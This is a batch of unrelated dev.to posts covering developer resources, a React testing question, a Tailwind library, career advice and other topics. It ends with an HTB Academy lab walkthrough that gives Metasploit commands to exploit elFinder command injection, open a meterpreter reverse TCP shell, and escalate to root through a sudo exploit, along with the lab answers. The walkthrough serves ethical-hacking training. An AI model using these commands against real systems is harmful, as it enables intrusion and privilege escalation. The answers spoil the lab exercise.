teleren/devto huggingface dataset:
10 free websites that can be extremely helpful for web developers
Tags: webdev, website, developer, coding
Published: 2024-04-04 09:41:47

1. Stack Overflow - A Q&A platform for programmers to ask and answer questions on various programming topics.
[Stack Overflow](https://stackoverflow.com/)

2. MDN Web Docs - Provides detailed documentation and tutorials on web development technologies like HTML, CSS, and JavaScript.
[MDN Web Docs](https://developer.mozilla.org/en-US/)

3. GitHub - A platform for version control and collaborative coding. It hosts a plethora of open-source projects and code repositories where developers can learn from others' code.
[GitHub](https://github.com/)

4. W3Schools - Offers tutorials and references on web development languages such as HTML, CSS, JavaScript, and many more.
[W3Schools](https://www.w3schools.com/)

5. CSS-Tricks - Provides articles, tutorials, and resources on CSS, front-end development, and related topics.
[CSS-Tricks](https://css-tricks.com/)

6. freeCodeCamp - Offers interactive coding challenges, tutorials, and certifications in web development and other programming topics.
[freeCodeCamp](https://www.freecodecamp.org/)

7. Codecademy - An interactive platform offering coding exercises and projects to learn various programming languages, including web development technologies.
[Codecademy](https://www.codecademy.com/)

8. Mozilla Developer Network (MDN) Web Docs - Offers comprehensive documentation and guides on web technologies including HTML, CSS, and JavaScript.
[MDN Web Docs](https://developer.mozilla.org/en-US/)

9. DevDocs - Aggregates documentation for many programming languages and libraries into a single, easily searchable interface.
[DevDocs](https://devdocs.io/)

10. Can I Use - A tool for checking browser support for various HTML, CSS, and JavaScript features.
[Can I Use](https://caniuse.com/)
Hello, Guys! Introducing Myself to the dev.to Community 🌟
Published: 2024-04-04 09:39:32

_Hello everyone!

I'm thrilled to be joining the vibrant community here on dev.to. As a newcomer to both dev.to and GitHub, I'm eager to dive into the world of software development, connect with fellow developers, and share my journey as I explore new technologies, projects, and ideas.
I'm a Computer Science Engineering student with a passion for building innovative software solutions and a keen interest in web development, machine learning, and open-source collaboration. While I'm relatively new to the tech scene, I'm excited to learn, grow, and contribute to the community in any way I can._
Implementing gRPC In Python
Tags: webdev, python, programming, beginners
Published: 2024-04-04 09:38:45

gRPC is sleek and fast compared to REST when it comes to the API world. In this article, Ashish M J explained a bit about gRPC and showed an example of implementing it in your Python application.

{% embed https://ashishmj.medium.com/implementing-grpc-in-python-51dd6be87ec3 %}
Windows Forms app in Visual Studio with C#, 2024-04-04
Published: 2024-04-04 09:28:58

Visual Studio를 엽니다.
시작 창에서 새 프로젝트 만들기를 선택합니다.
새 프로젝트 만들기에서 C#용 Windows Forms 앱(.NET Framework) 템플릿을 선택합니다.
원하는 템플릿으로 빠르게 이동할 수 있도록 검색 범위를 좁힐 수 있습니다. 예를 들어 검색 상자에 Windows Forms 앱을 입력합니다. 그런 다음 언어 목록에서 C#을 선택한 다음 플랫폼 목록에서 Windows를 선택합니다.

_참조 : https://learn.microsoft.com/en-us/visualstudio/ide/create-csharp-winform-visual-studio?view=vs-2022_
Interview with Parth, Founder of Tmuxer, and More
Tags: rust, tauri, interview
Published: 2024-04-04 09:20:50

Welcome to the 3rd episode of our series “Building with Tauri”, where we chat with developers who build amazing projects and products using [Tauri](https://tauri.app/).

In the third episode, [Eleftheria](https://twitter.com/BatsouElef) discusses with [Parth Jadhav](https://twitter.com/ParthJadhav8), founder of [Tmuxer](https://twitter.com/ParthJadhav8/status/1761456946237108316?s=20):

* How he started, his open-source journey
    
* His past projects (Verve, ContriBar and PromptClip)
    
* His latest project Tmuxer
    
* Challenges and the [DevTools](https://crabnebula.dev/devtools)
    
* Plans and goals for the future
    

In the following video, Parth shows us in detail [Tmuxer](https://tmuxer.vercel.app/), a product for searching and launching Tmux sessions with ease and in your desired terminal.

{% embed https://youtu.be/FRT3slYco9c %} 

## Find Out More 🔗

* Learn more about [Tmuxer](http://tmuxer.vercel.app/), [Verve](http://github.com/ParthJadhav/Verve), [ContriBar](http://contribar.framer.website/) and [PromptClip](http://github.com/kgoedecke/promptclip)
    
* Learn more about Parth on his [website](https://bento.me/parthjadhav)
    
* We also discussed [DevTools](https://crabnebula.dev/devtools/), a free tool for gaining insights into your [Tauri](https://tauri.app/) apps
    

*Have you built something cool with Tauri? Ping Eleftheria (username: eleftheria\_b) on* [*Discord*](https://discord.gg/tsvf4TEaB5) *to schedule your interview! This is your chance to demonstrate your product to a community of thousands of developers. 😏*

---

Author: @eleftheriabatsou, Community Manager at @crabnebuladev.
Mocha Chai unit test for React state variable change
Tags: unittest, javascript, react
Published: 2024-04-04 09:19:50

I want to write a Mocha unit test for the react state variable changes. For example,

```

import React, { useState, useEffect, useMemo } from 'react';

 

const RefillComponent = () => {

 

const [refillResult, setRefillResult] = useState({

status: 'notStarted',

successfulIds: [],

failedIds: [],

});

 

const onRequestRefills = async () => {

const response = await MyAPICall(list);

const failedIds = response?.failedIds || [];

const successfulIds = response?.successfulIds || [];

setRefillResult({

status: failedIds.length > 0 ? 'failed' : 'success',

failedIds,

successfulIds,

});

}

};

 

const failedNotification = () => {

return (

<div>API request failed</div>

);

};

return (

<div>

{(refillResult.status === 'failed') && failedNotification()}

</div>

);

 

};

 

 

export default RefillComponent;
```


I want to write the unit test when refillResult.status === 'failed'  the text  API request failed  should be displayed.
NeuBeam - New Tailwind CSS Component Library for stylish Web Development
Tags: webdev, tailwindcss, components, opensource
Published: 2024-04-04 09:16:33

## NeuBeam: A Tailwind CSS Component Library with a Modern Touch

**Introducing NeuBeam!** A free, open-source website component library for Tailwind CSS that draws inspiration from modern design trends like brutalism and retro. NeuBeam offers a variety of ready-to-use components that can help you build websites quickly and easily, without sacrificing aesthetics.

**Key Features of NeuBeam:**

* **Stylish and modern components:** NeuBeam features a variety of UI components inspired by the latest design trends, such as brutalism and retro. These components are carefully crafted to give your website a modern and eye-catching look.
* **Easy to use:** NeuBeam is easy to use and integrate with Tailwind CSS. You can easily use NeuBeam components in your existing Tailwind CSS projects .
* **Free and open-source:** NeuBeam is an open-source library that is available for free. You can use it in personal or commercial projects without restrictions.

**Technologies Used:**

* **Tailwind CSS:** NeuBeam is built on top of Tailwind CSS, a popular CSS framework for building websites quickly and easily.
* **Next.js:** NeuBeam uses Next.js, a React framework that allows you to build static websites and server-side rendered applications.

**Demo and Repository:**

* **Demo:** [neubeam 🌐 ](https://neubeam.vercel.app/)
* **GitHub Repository:** [Check or contribute 🔗](https://github.com/Taufik-H/neubeam)


**About Me:**

My name is Taufik-H, a Junior Frontend Web Developer from Indonesia. I am passionate about web design and development. I created NeuBeam with the aim of helping other developers build modern and attractive websites easily.

**Call to Action:**

* **Try NeuBeam:** Use NeuBeam in your next Tailwind CSS project.
* **Contribute:** NeuBeam is an open-source project. You can contribute by providing feedback, reporting bugs, or creating pull requests ([neubeam 🔗](https://github.com/Taufik-H/neubeam)).
* **Spread the word:** Help spread the word about NeuBeam to your friends and colleagues.

---

 ⚠️ **NeuBeam** is still under development!



### Expect even more awesome components coming soon, and you can be a part of it!👊  We're all about collaboration.

**✋Disclaimer**: Being a Junior Web Dev, my code might not be the tidiest yet. But that's where you come in!  **NeuBeam** can be even better with your help.  Let's improve the code together and follow best practices while we're at it.  Imagine the awesome and well-structured website we can build together!

**Thank you for reading!😁**

---

Taufik-H 👋
Junior Frontend Web Developer
Indonesia 🇮🇩
[My Github account](https://github.com/Taufik-H)

---

#### A bit preview :

- form : 

![Preview form component](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kbwf1ok0ptv84vz9wt7f.png)


![Preview the code component](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k7y6pzq8danudmueuz8o.png)


![How about the responsivity](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j73qaloaiccnwir2rmeb.png)
Navigating the Future: The Role of Software in Transforming Upstream Oil and Gas Operations
Tags: upstreamoilandgas, oilandgassoftware, energysectorsoftware, oilandgas
Published: 2024-04-04 09:15:02

The upstream oil and gas sector is undergoing a significant transformation driven by advancements in software technology. This article explores the pivotal role of upstream oil and gas software in enhancing operational efficiency, safety, and decision-making in the industry.

**Upstream Oil and Gas Software**
[Upstream oil and gas software](https://www.enertia-software.com/resources) refers to specialized tools designed to support exploration, drilling, and production processes in the oil and gas industry. These tools help companies manage data, optimize workflows, and make informed decisions.

**Enhancing Operational Efficiency**
One of the primary benefits of upstream oil and gas software is the improvement of operational efficiency. By automating routine tasks and streamlining data management, companies can focus on strategic activities that drive growth.

**_Data Management_**
Software solutions provide a centralized platform for storing and accessing vast amounts of geological and operational data, enabling quick retrieval and analysis.

**_Workflow Optimization_**
Automated workflows reduce manual intervention, minimize errors, and ensure that operations run smoothly and consistently.

__Improving Safety__
Safety is a top priority in the upstream oil and gas industry. Upstream oil and gas software plays a crucial role in identifying potential hazards, ensuring compliance with regulations, and protecting personnel's well-being.

**_Hazard Identification_**
Advanced analytics and predictive modeling can forecast potential risks, allowing companies to take preemptive measures.

**_Regulatory Compliance_**
Software helps maintain compliance with environmental and safety regulations by providing up-to-date information and tracking necessary documentation.

**Facilitating Decision-Making**
Making timely decisions is critical in the fast-paced oil and gas sector. Upstream oil and gas software equips decision-makers with real-time data and insights, enabling them to respond quickly to changing market conditions.

**_Real-Time Data Access_**
Access to real-time data allows for immediate adjustments to operations, enhancing responsiveness and agility.

**_Insightful Analytics_**
Software tools analyze data to provide actionable insights, guiding strategic decisions that can lead to competitive advantages.

The integration of upstream oil and gas software is essential for companies looking to thrive in the modern energy landscape. By leveraging these tools, businesses can optimize their operations, ensure safety, and make better decisions, all of which are crucial for navigating the future of the industry.
Facial Recognition API for Events — a Safer Attendee Registration and Event Management
Tags: api, machinelearning, python, programming
Published: 2024-04-04 09:08:23

One of the unique aspects of the Tokyo Olympiad in 2020 (along with the fact that it was postponed until July 2021 due to the COVID outbreak) was that it was one of the first major sporting events to use facial recognition technology. Because of the magnitude of the event, the COVID pandemic, and the security issues it posed, it was an outstanding example of the application of facial recognition technology. Hundreds of thousands of fans from around the globe attended, and there was a need for improved security, streamlined admission procedures, and the ability to detect potential security threats. It was a pioneering example of the employment of facial recognition technology in a big athletic event, as it helped to resolve these problems.

However, due to worries about privacy and possible abuse of the technology, some people questioned the deployment of facial recognition technology during the Tokyo Summer Olympics. Many critics claimed that using the facial recognition technology may violate people’s right to privacy and even lead to widespread surveillance. Concerns were raised about the technology’s precision and dependability as well as the possibility of data exploitation. These concerns sparked debates about the ethical implications of using the facial recognition technology in such a high-profile event.

In this article, we are going to discuss the cutting-edge technology of facial recognition and its impact on event management. We will explore how facial recognition can contribute to safer attendee registration and enhance the experience of event organizers and participants. We will delve into the potential advantages of integrating facial recognition API into event management systems. In addition, we will focus on privacy concerns which make it a controversial and sensitive topic.

Learn more here: [Facial Recognition API for Events — a Safer Attendee Registration and Event Management](https://luxand.cloud/face-recognition-blog/facial-recognition-api-for-events-a-safer-attendee-registration-and-event-management/?utm_source=devto&utm_medium=facial-recognition-api-for-events-a-safer-attendee-registration-and-event-management)
Why You Shouldn't Take Harvard CS50
Tags: javascript, webdev, beginners, programming
Published: 2024-04-04 09:07:36

I'm not saying that it is a bad course. But a lot of people are going to steer you into taking this type of course. And personally, I don't think that it is needed.

I think that like taking a course like Harvard CS50, you are further kicking the can down the road.

If I was starting on day 1, I would:

### 1. Start on FreeCodeCamp

I would start learning HTML and CSS in the basic web design course that [FreeCodeCamp](https://www.freecodecamp.org/learn/2022/responsive-web-design/) offers. That is what I did. That is how I learned it. It only took me 3 weeks to learn.

Mind you, I was really putting in the hours every day. That is why I got through it in 3 to 4 weeks. So, I think if you are committed, you can do it in less than a month.

### 2. Take a JavaScript Course

Once you have completed the web design track on FreeCodeCamp, I would go on and take [a JavaScript course](https://karlgusta.gumroad.com/l/amuwd/uy6coy8) and learn the basics. 

If I were doing it all over again, I wouldn't try to become a JavaScript master. Understand what a JavaScript function does before you list that you are a web developer on your resume.

Like, can you type a function on the console? This is a super basic concept that you should know how to do. This is basic JavaScript.

### 3. Build a project

Once you finish the basic JavaScript web development Course, I would build a project that you are interested in. Like ask yourself, what are your interests, what are your passions. What do you like?

Don't build a Netflix clone. Everybody does that. Don't build a Meta clone. Everybody does that.

Like, you should be original.

Do something that is unique and something that you are passionate about. Not what everyone else wants you to do.

And the advantage of this approach, is that, when you are actually building the thing, you are more likely to enjoy what it is that you are working on. Because you like the stuff that you are working on. It is something that you are actually passionate about.

So, for me, I am interested in Career development. So, I build a job board. And I really like doing that because I am super interested in whatever it is that I was building.

### 4. Build project without framework

Make sure that you do it the language script of any frameworks. This is important because it reinforces the fundamental basics understanding of the language of your choice.

Like, you want to know the basics. Like, how to write functions. Like, how to write a for loop in JavaScript.

It is only about after you have developed this project in the vanilla language of your choice that you can build it in a framework.

So, after I was done building this project in Vanilla JavaScript, I then decided to rebuild the project in the framework of my choice which was React.

I was able to better understand React as a result. Like I really understood the basics of JavaScript.

This is SUPER important. Because a lot of people are going to tell you that you should immediately start building in the framework of you choice.

Happy Coding!
Karl 👊
Sloan's Inbox: Any advice for calming an opinionated contributor? 😬
Tags: discuss, opensource, maintainer
Published: 2024-04-04 09:00:00

Hey folks! Sloan, DEV Moderator and mascot. I'm back with another question submitted by a DEV community member. 🦥

For those unfamiliar with the series, this is another installment of Sloan's Inbox. You all send in your questions, I ask them on your behalf anonymously, and the community leaves comments to offer advice. Whether it's career development, office politics, industry trends, or improving technical skills, we cover all sorts of topics here. If you want to send in a question or talking point to be shared anonymously via Sloan, that'd be great; just scroll down to the bottom of the post for details on how.

Let's see what's up this week...

### Today's question is:

> I'm maintaining a project and am lucky to have quite a few different helpful contributors who regularly assist. That said, there is one contributor in particular who can be extremely opinionated and a little bit difficult to work with. They've assisted me throughout and spent a lot of time on the project, so I want to respect the work they've put in, but I also think they feel a bit too much ownership and I've seen them down-talk other newer contributors. I'm trying to approach this diplomatically and would appreciate any advice!
 
Share your thoughts and let's help a fellow DEV member out! Remember to keep kind and stay classy. 💚

---

*Want to submit a question for discussion or ask for advice? [Visit Sloan's Inbox](https://docs.google.com/forms/d/e/1FAIpQLSc6wgzJ1hh2OR4WsWlJN9WHUJ8jV4dFkRDF2TUP32urHSAsQg/viewform)! You can choose to remain anonymous.*
HTB Academy | Using the Metasploit Framework Module -Sessions & Jobs
Tags: htbacademy, htb, metasploit, ethicalhacking
Published: 2024-04-04 08:58:46

---
title: HTB Academy | Using the Metasploit Framework Module -Sessions & Jobs 
published: true
description: Walkthrough Sessions & Jobs section
tags: HTBacademy, HTB, Metasploit, Ethicalhacking
# Use a ratio of 100:42 for best results.
# published_at: 2024-04-04 08:03 +0000
---
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/douqk0jxfu6mkw4o2hi5.jpg)
[My HTB Academy unique referral link >>](https://referral.hackthebox.com/mzyGKZb)

## Question N1:

The target has a specific web application running that we can find by looking into the HTML source code. What is the name of that web application?

Explore the web page at <TARGET_IP> using a browser's devtools. Look for the name of the web application within the HTML source code, typically indicated in the <title> tag.

Hint: You can use Chrome DevTools or Firefox DevTools for inspecting the HTML source code.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dkv6aokcp74l3nims9o3.png)
### Answer N1: elFinder

## Question N2:

Find the existing exploit in MSF and use it to get a shell on the target. What is the username of the user you obtained a shell with?

    [★]$ msfconsole

    [msf]>> search exploit elfinder
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gpw4wuvaed4p7ym1lsvq.png)

    [msf] >> use 3

    [msf] exploit(linux/http/elfinder_archive_cmd_injection) >> options

    >> set RHOSTS <target ip>

    >> set LHOST tun0

    >> set LPORT 4444

    >> set payload linux/x64/meterpreter/reverse_tcp

    [msf]>>exploit(linux/http/elfinder_archive_cmd_injection) >> exploit
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xaiflt4pv9a7ojz09j09.png)
### Answer2: The username of the user obtained with the shell is www-data.

## Question N3:

The target system has an old version of Sudo running. Find the relevant exploit and get root access to the target system. Find the flag.txt file and submit the contents of it as the answer.
    >> background (or Ctrl+Z)/ if session Died / use: >>exploit -j

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kez5x88v73jk2l83zabx.png)
    >> search sudo

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pmaun5nb7sml7lat18gr.png)

    >> use 27

    >> options
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/egkopmszo7hesqa7devq.png)

    >> set LHOST tun0

    >> set LPORT 1234

    >> set payload linux/x64/meterpreter/reverse_tcp

    >> sessions

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9qwzg8hjxgaw0y9hxh4u.png)

    >> set session 3

    >> exploit

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pjjpe8txjiw2wwv97dqb.png)
Great, now we are root!
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xct7pg2v1939ly44hsgr.png)

## All that remains is to pick up the flag! 
## Happy hacking!